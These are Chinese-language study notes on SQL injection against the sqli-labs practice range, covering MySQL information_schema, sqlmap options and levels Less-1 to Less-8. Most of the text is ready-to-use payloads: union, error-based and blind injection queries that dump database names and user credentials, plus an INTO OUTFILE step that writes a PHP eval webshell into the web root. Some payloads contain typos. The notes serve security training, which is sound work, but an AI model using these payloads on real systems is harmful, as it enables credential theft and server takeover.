SQL注入学习笔记
面试官一般问的问题:
sql的注入点,注入语句,用过sqlmap吗,自动化注入工具的一些参数什么意思,过滤了关键词关键字你的绕过方案,sql注入的防御措施,在所有场景下都可以生效吗
MySQL如何生成webshell:
root权限
web物理路径
框架报错
@@datadir去猜
secure_file_priv为空,不是null
数据库知识铺垫
mysql系统库以及怎么查询信息
SQL注入中最常见利用的系统数据库,经常利用系统数据库配合union联合查询来获取数据库相关信息,因为系统数据库中所有信息都在这个数据库里面,比如所有数据库名、所有的表名、列名以及列名的数据库类型等 这里主要关注MYSQL系统数据库information_schema,关注系统数据库的表columns和schema表以及tables表
SCHEMATA表:提供了关于数据库的信息
COLUMNS表:给出了表中的列信息
TABLES表:给出了关于数据库中的表的信息
下面接着看这三个表都有什么信息我们在SQL注入中可以用到的列。
- 这个表里面存放的数据库信息,这个表里面最关键的就是schema_name列,这里面存放了所有数据库名称,查询这个列所有的值即可拿到所有数据库名,这里还有其他列名,如图
查询这个表schema_name的值,即查询所有数据库名
- columns表给出了所有表中的所有列信息,但是同时也包含了数据库名,所有表名,所有列名值对应列column_name,所有数据库名值对应列table_schema,所有表名值对应table_name列,当然此表还有其他列信息,如图,但是这里暂时只关注此三个列。
同表schemata一样,查询columns表里面的table_schema列一样可以得到所有数据库名
查询当前数据库所有列
查询当前所有表名
- tables表给出了所有表的信息,但是同时也包含了数据库名,所有表名,所有数据库名值对应列table_schema,所有表名值对应table_name列,当然此表还有其他表的信息,如图,但是这里暂时只关注此两个列
同表columns以及schemata一样,查询tables表里面的table_schema列一样可以得到所有数据库名
同columns表一样,从tables表里面的所有表名
假如你知道要注入的数据库是ctf,要查其中的表:
继续查询user表中的所有列:
mysql函数
SQL函数是在SQL注入中用的比较多的,经常利用SQL函数来判断数据库的版本,当前用户,当前用户权限以及数据库的安装路径等等,以下是常用的MYSQL函数:
- user()用户名
- current_user() 当前用户名
- database() 数据库名
- version() mysql数据库版本
- @@datadir 数据库路径///可以用这个去猜网站路径
- substr() 截取函数
从第一个字符截取,截取长度为1//////截取位置可以是负数,为倒叙截取
- if() 判断语句
当第一个为真走中间,为假走第三个
- mid()和substr()一样,但是mid三个参数都必须有,subtsr长度可以没有
- ascii()
ASCII()
函数仅关注字符串的第一个字符,并返回该字符对应的 ASCII 编码值。ASCII 码是用于表示字符的标准编码
- concat() 连接函数
- group_concat() 将大量的查询连接成一行,又时回显信息只允许一行
sql靶场学习
靶场部署
第一步:
sqli-labs下载:https://github.com/Audi-1/sqli-labs
phpstudy下载地址:http://down.php.cn/PhpStudy20180211.zip
第二步:
解压放在phpstudy的www下
第三步:
进入
修改user和passwd
第四步:
点击安装
学习前的准备
数据库连接工具
sqlmap
level-1 只检测get传参
level-2 cookie标头也会进行SQL注入测试
level-3 user-agent进行SQL注入检测
risk-1 默认自己测
risk-2 时间盲注,and
risk-3 时间盲注,or
--bdms=musql 确定数据库类型
使用哪种sql注入技术
BEUSTQ
E:报错注入
U:联合注入
T:时间盲注
B:bool盲注
S:堆叠
Q:直接查
看是不是一个root权限
查看mysql中的用户
用户密码(一般为哈希值)
cmd5.com哈希转换网站
somd5.com
脱库
权限都大,可以在sqlmap上执行sql语句(root只能执行查询)
shell
udf提权
表分为,用户表和管理员表
如何从用户表------>管理员表
union 两表联合查询,字段一致
mysql的注释符
单行:
--空格 --+ --%20
#
多行:
/* */
- 1. http://127.0.0.1/sqli/Less-1/?id=1’ 查看是否有注入
- 2. http://127.0.0.1/sqli/Less-1/?id=1‘ order by 3--+ 查看有多少列
- 3. http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,3--+ 查看哪些数据可以回显
- 4. http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,database()--+ 查看当前数据库
- 5. http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,schema_name from information_schema.schemata limit 4,1--+ 查看数据库security,或者是: http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata--+ 查看所有的数据库
- 6. http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1--+ 查表,或者是:http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+ 查看所有的表
- 7. http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,column_name from information_schema.columns where table_name=0x7573657273--+ 查询列信息,或者是:http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+ 查看所有的列信息
- 8. http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,concat_ws(’~‘,username,password) from security.users limit 1,1--+ 查询一个账号和密码,或者是:http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+ 直接可以得到所有的账号和密码,并且使用~符号进行分割。
常见的报错函数
1.ST_LatFromGeoHash()(mysql>=5.7.x)
payload
and ST_LatFromGeoHash(concat(0x7e,(select user()),0x7e))--+
2.ST_LongFromGeoHash(mysql>=5.7.x)
payload
#同 8 ,都使用了嵌套查询
and ST_LongFromGeoHash(concat(0x7e,(select user()),0x7e))--+
3.GTID (MySQL >= 5.6.X - 显错<=200)
0x01 GTID
GTID是MySQL数据库每次提交事务后生成的一个全局事务标识符,GTID不仅在本服务器上是唯一的,其在复制拓扑中也是唯一的
GTID_SUBSET() 和 GTID_SUBTRACT()函数
‘
0X02 函数详解
GTID_SUBSET() 和 GTID_SUBTRACT() 函数,我们知道他的输入值是 GTIDset ,当输入有误时,就会报错
GTID_SUBSET( set1 , set2 ) - 若在 set1 中的 GTID,也在 set2 中,返回 true,否则返回 false ( set1 是 set2 的子集) GTID_SUBTRACT( set1 , set2 ) - 返回在 set1 中,不在 set2 中的 GTID 集合 ( set1 与 set2 的差集)
0x03 注入过程( payload )
GTID_SUBSET函数
') or gtid_subset(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+GTID_SUBTRACT
') or gtid_subtract(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+函数都是那样,只是适用的版本不同
4.floor(8.x>mysql>5.0)
获取数据库版本信息
')or (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
#获取当前数据库
')or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
#获取表数据
')or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='test' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
#获取users表里的段名
')or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
5.ST_Pointfromgeohash (mysql>=5.7)
获取数据库版本信息
')or ST_PointFromGeoHash(version(),1)--+
获取表数据
sql注入原因
sql注入分类
sql注入绕过 一部分
sql注入防御 waf防御 过滤函数来防御 pdo
')or ST_PointFromGeoHash((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)--+
获取users表里的段名
')or ST_PointFromGeoHash((select column_name from information_schema.columns where table_name = 'manage' limit 0,1),1)--+
获取字段里面的数据
')or ST_PointFromGeoHash((concat(0x23,(select group_concat(user,':',`password`) from manage),0x23)),1)--+
6 updatexml
updatexml(1,1,1) 一共可以接收三个参数,报错位置在第二个参数
7 extractvalue
extractvalue(1,1) 一共可以接收两个参数,报错位置在第二个参数
关卡
less-1
方法一:(字符型注入)
看源码无任何限制
第一步:查看是否可以注入
?id=1' --+
第二步:看有几列,因为uion联合查询需要相同的列才可以查询
?id=1' order by 3 --+
第四行排序报错,第三行排序,没问题。所以是三列
第三步:看哪几列可以回显到页面
?id=-1' union select 1,2,3--+
发现二三列可以回显,-1 是为了让原始查询无结果,从而让 UNION
后的查询结果 “上位” 显示,核心作用是绕过原始查询逻辑
第四步:查询数据库
?id=-1%27 union select 1,2,database()--+
第五步:查看表
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
第六步:查询user表单列信息
id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+
第七步:查看账号密码
?id=-1’ union select 1,2,group_concat(username,'0x7e',password)) from security.users --+ 直接可以得到所有的账号和密码,并且使用~符号进行分割。
方法二:(报错型注入)
通过mysql自带的函数来进行查询,会产生报错,通过报错爆出来
?id=1' and updatexml(1,database(),1)--+
用中间的写和之前一样语句
?id=1' and updatexml(1,select group_concat(table_name) from information_schema.tables where table_schema='security' ,1)--+
查询大量数据时,这个报错函数有回显的字符限制,32,
可以用limit
也可以用substr截取
?id=1' and updatexml(1,substr((select group_concat(table_name) from information_schema.tables where table_schema='security')32,100) ,1)--+
补:
加入单词边界,过滤
不用报错该怎么查询
用e1连接1和union,le科学计数法,相当于10,mysql可以使用科学计数法
less-2
数字型注入和关卡一一样,只是没有’分隔
less-3
闭合方式不一样,但是大致还是和less-1一样
less-4
“)的闭合方式
less-5
前端没有回显,就不可以用联合查询了
但是其还可以sql函数报错
less-6
闭合方式不同,不可以回显到前端
就继续用报错注入
less-7
这题没有回显,不可以用联合,但是有报错,所以可以用报错注入
但是它要求用outfile,写文件
写入webshell要满足三个要求:
- root权限
- 知道网站物理路径
- secure_file_priv为空,不是null,或者为www下路径
- 空,就是都可以写入
- null,不可以写
- 固定路径,只能在该路径写入
1. show variables like '%secure%';查看 secure-file-priv 当前的值,如果显示为NULL,则需要打开 C:\phpstudy\PHPTutorial\MySQL\my.ini文件,在其中加上一句:secure_file_priv=
2. 一句话木马:php版本:<?php @eval($_POST[“crow”]);?> 其中crow是密码 补充:
3. load_file() 读取本地文件 select load_file('C:\\phpstudy\\PHPTutorial\\WWW\\sqli\\Less-7\\test.txt’);
4. into outfile 写文件 用法: select 'mysql is very good' into outfile 'test1.txt‘;
1. http://127.0.0.1/sqli/Less-7/?id=1‘)) order by 3--+ 查看有多少列
2. http://127.0.0.1/sqli/Less-7/?id=-1‘)) union select 1,2,’<?php @eval($_POST[“crow”]);?>‘ into outfile “C:\\phpstudy\\PHPTutorial\\WWW\\sqli\\Less-7\\test.php” --+ 将一句话木马写入其中
3. 使用蚁剑访问即可!
写正常的payload
?id=1‘)) union%20select 1,2,‘<?php phpinfo(); ?>’ into outfile "E:\\studyTool\\phpstudy\\phpstudy_pro\\WWW\\SQL\\Less-7\\web.php" --+
less-8
没有回显查询信息,没有报错回显,但是有一个简单的页面回显
现在页面只有两个状态
错误:
成功:
方法1:(布尔盲注)
1. http://127.0.0.1/sqli/Less-8/?id=1’ 判断此时存在注入漏洞
2. http://127.0.0.1/sqli/Less-8/?id=1‘ order by 3--+ 当3改为4的时候,you are in….消失,说明存在三列。
3. http://127.0.0.1/sqli/Less-8/?id=1' and left((select database()),1)=0x73 --+猜出来当前第一位是s 或者是使用: http://127.0.0.1/sqli/Less-8/?id=1‘ and ascii(substr((select database()),1,1)) > 16--+ 此时是有回显的。
4. http://127.0.0.1/sqli/Less-8/?id=1‘ and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >17 --+ 先通过大于号或者小于号来判断数据库的第一个字母是哪一个,也可以使用http://127.0.0.1/sqli/Less-8/?id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1)) = 115--+ 此时可以验证数据库中第五个数据库的第一个字母是s
5. http://127.0.0.1/sqli/Less-8/?id=1‘ and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1),1,1)) >11 --+ 判断security数据库中的第4个表中的数据的第一位是否大于11, 也可以使用 http://127.0.0.1/sqli/Less-8/?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1),1,1)) =117 --+ 验证数据库中第4个表中的数据的第一位的第一个字母的ascii码是否是117,也就是 u
6. http://127.0.0.1/sqli/Less-8/?id=1‘ and ascii(substr((select column_name from information_schema.columns where table_name = 0x7573657273 limit 1,1),1,1)) >10 --+ 同理,进行判断表中的字段,然后进行判断。可以得到username,password;
7. http://127.0.0.1/sqli/Less-8/?id=1‘ and ascii(substr((select username from security.users limit 0,1),1,1)) >10 --+ 同理,进行判断,最后再使用password进行判断。
8. 因为猜解速度较慢,可以配合burpsuite或者是sqlmap的脚本来使用。
方法二:(时间盲注)
1. http://127.0.0.1/sqli/Less-8/?id=1‘ and sleep(5)--+ 使用延迟的方法判断是否存在注入漏洞。当然判断是否存在注入漏洞的方法很多。
2. http://127.0.0.1/sqli/Less-8/?id=1‘ and if(length(database()) = 8,1,sleep(5))--+ 当为8的时候很快加载,而为其他值得时候加载较慢(5s左右),那就说明此时数据库的长度就是8(security)
3. http://127.0.0.1/sqli/Less-8/?id=1' and if(ascii(substr((select database()),1,1)) >113,1,sleep(5))--+如果当前数据库的第一个字母的ascii值大于113的时候,会立刻返回结果,否则执行5s。
4. http://127.0.0.1/sqli/Less-8/?id=1‘ and if(ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1))>112,1,sleep(5))--+ 同理判断数据库中的第5个数据库的第一位的ascii的值是不是大于112(实际中是115),如果是的则速度返回,否则延时5s返回结果。
5. 其余步骤与法一基本类似,可以采用burpsuite或者是sql盲注脚本使用。
也可以用python写脚本